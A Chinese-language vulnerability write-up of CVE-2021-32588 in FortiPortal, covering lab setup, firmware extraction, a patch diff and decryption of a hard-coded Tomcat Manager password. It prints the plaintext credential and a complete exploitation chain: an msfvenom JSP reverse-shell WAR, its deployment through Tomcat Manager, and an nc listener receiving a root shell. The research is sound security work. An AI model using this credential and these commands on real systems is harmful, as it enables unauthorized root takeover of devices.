披露信息:https://www.fortiguard.com/psirt/FG-IR-21-077 
漏洞编号:CVE-2021-32588
漏洞描述:A use of hard-coded credentials (CWE-798) vulnerability in FortiPortal may allow a remote and unauthenticated attacker to execute unauthorized commands as root by uploading and deploying malicious web application archive files using the default hard-coded Tomcat Manager username and password. 
 
环境搭建 下载 6.0.4 和 6.0.5 两个版本,导入 6.0.4 镜像到 VMware,启动后发现控制台输出错误信息
1 2 The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.. db_Migration failed. Going to prevent fpc web app from launching. 
 
这里提示链接数据库服务器失败,查阅官网手册发现需要手动配置一台数据库服务器,具体步骤可参考[官网文档](Administration Guide | FortiPortal 6.0.5 | Fortinet Documentation Library )。
配置好数据库服务器后,需要对虚拟机的网络等进行配置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 admin 空密码登录系统 config system interface   进入网卡配置选项 edit port1    编辑 port1 网卡 set ip 192.168.0.200/24   设置网卡 ip 为 192.168.0.200,掩码 255.255.255.0 set allowaccess ping https ssh http   设置网卡允许 ssh、http、ping https 协议 end config system route    进入路由配置选项 edit 1                 编辑条目 1 set device port1       设置网卡 port1 set gateway 192.168.0.1  设置网关地址 192.168.0.1 end config system sql    进入数据库配置选项 set status remote    设置数据库服务为远程 set database-name fp_fazlite     设置数据库名 set database-type mysql     设置数据库类型 set database-port 3306      设置数据库服务器端口 set username fpc             设置 mysql 用户名 set password xyz             mysql 密码 set server 192.168.0.163    设置数据库服务器地址 end 
 
配置好后重启虚拟机。
在数据库服务器登录 mysql,执行以下语句来查看是否配置成功
1 select * from ftntpmcdb.fpc_version; 
 
结果中输出了版本信息即可。
此时可通过刚刚配置的 IP 来访问 web 服务。
固件获取 fortiportal 本身不提供 Linux shell,我们需要想办法拿到设备固件。首先找到导入的虚拟磁盘,对其进行解压。
1 PS:如果是在 Windows 环境下,建议安装 7-zip 软件,安装后直接右键虚拟磁盘,选择使用 7-zip 打开即可看到内容。 
 
解压可得到一个 rootfs.gz 文件,解包后获取到根文件系统,但是此时文件系统中缺失了大部分数据,在根目录下能找到三个压缩包: bin.tar.xz、lib.tar.xz、usr.tar.xz
直接使用 tar 等工具不能解压这三个文件,猜测设备在初始化过程中会进一步对这些文件进行处理。
考虑到 Linux 系统的启动流程,内核初始化完成之后会进入 init_post 函数,在这里将控制流移交给用户空间进程,包括 /sbin/init、/etc/init、/bin/init、/bin/sh。
此时可以参考文章 ,通过虚拟机调试的方法尝试获取 shell,但这里我们有更简单的方法。
在解压出来的根文件系统中寻找上述的四个初始化程序,在 /bin 目录下发现只有一个 init 文件。
IDA 打开分析,其主函数代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int  sub_804A4A2 () {     char  v1;      char  v2;      char  v3;      char  v4;      int  v5[2 ];      if  ( init_loader_decompress_dir("lib" , 0 ) >= 0  )     {         if  ( init_loader_decompress_dir("bin" , 0 ) >= 0  )         {             if  ( init_loader_decompress_dir("usr" , 0 ) >= 0  )             {                 if  ( init_loader_decompress_dir("etc/dm/syntax/syntax" , 1 ) < 0  )                     sub_804A316("Decompress syntax error, image error\n" , v4);                 v5[0 ] = "/bin/init" ;                 v5[1 ] = 0 ;                 sub_807EB00("/bin/init" , v5, 0 );             }             else              {                 sub_804A316("Decompress usr error, image error\n" , v3);             }         }         else          {             sub_804A316("Decompress bin error, image error\n" , v2);         }     }     else      {         sub_804A316("Decompress lib error, image error\n" , v1);     }     return  0 ; } 
 
这段代码看起来是对根目录下的三个压缩包实现解压,由于该程序为 x86 架构,可以直接在虚拟机中运行,执行以下命令实现对根目录的完全解压
1 sudo chroot . ./bin/init 
 
执行后等待程序运行完毕,即可看到释放出了完整的 /bin、/lib 和 /usr 目录。
在 /usr/local/tomcat 目录发现关键文件。
漏洞分析 解包 6.0.4 和 6.0.5 两个版本的固件,进行补丁对比,发现新版中移除了 webapps 下的 manager 目录,经调查,此目录就是漏洞披露信息中提到的 Tomcat Manager 组件。
Tomcat Manager 会去 conf/tomcat-users.xml 文件中读取用户信息,查看此文件发现以下记录
1 2 <role  rolename ="manager-script" /> <user  username ="fpcadmin"  password ="046ed5f485431c63$1000$63da3a538f1f15aea922875fd1e2c5645629ff3d24997bb3f978ad2538921168"  roles ="manager-script" /> 
 
说明在默认配置下存在一个名为 fpcadmin 的 manager-script 用户,此用户无法访问 GUI 界面,但是可以通过直接调用接口实现诸多功能。
首先要解决密码的问题,Tomcat Manager 官方文档中提到为了安全性,tomcat-users.xml 中的用户密码允许进行加密,防止密码泄露。通过全局搜索,在名为 FpcReloadTomcatApp.class 类中找到对 fpcadmin 用户操作的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public  boolean  reloadTomcatApp () {     StringBuffer  curlForReload  =  new  StringBuffer ();     curlForReload         .append("curl -k -u fpcadmin:" )         .append(CipherUtils.decryptString("y542PfTSFP9E2mZ6SfBaIK4Y8OIEV3HyiBDBUjSQXB4=" ))         .append(" https://localhost/manager/text/reload?path=/fpc" );     log.info("execute curl for tomacat reload start "  + Thread.currentThread().getName());     try      {         String  output  =  executeRequest(curlForReload.toString());         log.info("Tomcat reload context 'fpc' result: "  + output);         return  (output != null ) && (output.contains("OK" )) && (output.contains("fpc" ));     }     catch  (Exception ex)     {         String  failedMessage  =  "reload context 'fpc' failed. details in log. restart Tomcat server to make SAML update in effect." ;         log.error(failedMessage, ex);     }     return  false ; } 
 
Tomcat 重新加载时,会使用 curl 命令调用 Tomcat Manager 的 reload 接口,其中使用了 fpcadmin 的密码。
先使用 decryptString 函数对其解密,解密函数关键代码
1 2 3 4 5 6 7 8 9 Cipher  cipher  =  Cipher.getInstance("AES/CBC/PKCS5PADDING" );SecretKeySpec  secretKey  =  new  SecretKeySpec (key, "AES" );byte [] iv = new  byte [cipher.getBlockSize()];pSpec = new  IvParameterSpec (iv); cipher.init(2 , secretKey, pSpec); String  decryptedString  =  new  String (cipher.doFinal(Base64.decodeBase64(stringToDecrypt)));log.debug("decrypt string" ); return  decryptedString;
 
decryptString 使用 AES 算法对密码进行解密,key 被定义为成员变量
1 public  static  final  byte [] key = { Byte.MAX_VALUE, 34 , -24 , -72 , -95 , 31 , -10 , -7 , 74 , 78 , -74 , -26 , -63 , -48 , -7 , -10  };
 
所以我们可以编写代码对其中的密码进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  javax.crypto.BadPaddingException;import  javax.crypto.Cipher;import  javax.crypto.IllegalBlockSizeException;import  javax.crypto.NoSuchPaddingException;import  javax.crypto.spec.IvParameterSpec;import  javax.crypto.spec.SecretKeySpec;import  java.security.spec.AlgorithmParameterSpec;import  java.util.Base64;public  class  dec {    public  static  final  byte [] key = { Byte.MAX_VALUE, 34 , -24 , -72 , -95 , 31 , -10 , -7 , 74 , 78 , -74 , -26 , -63 , -48 , -7 , -10  };     private  static  AlgorithmParameterSpec  pSpec  =  null ;     public  static  void  main (String[] args)  throws  Exception {         Cipher  cipher  =  Cipher.getInstance("AES/CBC/PKCS5PADDING" );         SecretKeySpec  secretKey  =  new  SecretKeySpec (key, "AES" );         byte [] iv = new  byte [cipher.getBlockSize()];         pSpec = new  IvParameterSpec (iv);         cipher.init(2 , secretKey, pSpec);         String  decryptedString  =  new  String (cipher.doFinal(Base64.getDecoder().decode("y542PfTSFP9E2mZ6SfBaIK4Y8OIEV3HyiBDBUjSQXB4=" )));         System.out.println(decryptedString);         } } 
 
最终得到明文密码:fortinet@FPC#12345
用账号 fpcadmin:fortinet@FPC#12345 即可登录 Tomcat Manager,并且访问后台接口。
获取 shell 得到后台权限后可以进一步获取 root shell,我们使用工具 tomcatmanager ,先修改 tomcat_manager.py 第 535 行 requests.put 代码,添加参数 verify=False 防止 python SSL 证书报错。
首先用 msf 生成 war 木马
1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.160  LPORT=13337 -f war > shell.war 
 
tomcat-manager 链接到目标,密码:fortinet@FPC#12345
1 2 3 4 tomcat-manager> connect https://192.168.0.200/manager fpcadmin --noverify Password:  --connected to https://192.168.0.200/manager as fpcadmin --tomcat version: [Apache Tomcat/9.0.44] 
 
利用 deploy 接口部署木马
1 tomcat-manager> deploy local ./shell.war /rce 
 
部署后可通过 list 命令查看是否部署成功
1 2 3 4 5 6 7 tomcat-manager> list Path                     State   Sessions Directory                            ------------------------ ------- -------- ------------------------------------ /                        running        2 ROOT                                 /fpc                     running        1 fpc                                  /manager                 running        0 manager                              /rce                     running        0 rce   
 
我们看到列表中出现了刚刚部署的木马,对应路由为 /rce
在攻击端监听端口 13337,然后访问 /rce 接口,即可获取到 root shell
1 2 3 4 5 6 7 8 ➜  Desktop nc -lnvp 13337                     Listening on 0.0.0.0 13337 Connection received on 192.168.0.200 46194 uname -a Linux FPCVM64 2.6.36.3 #1 SMP Wed May 19 10:33:07 PDT 2021 x86_64 GNU/Linux whoami root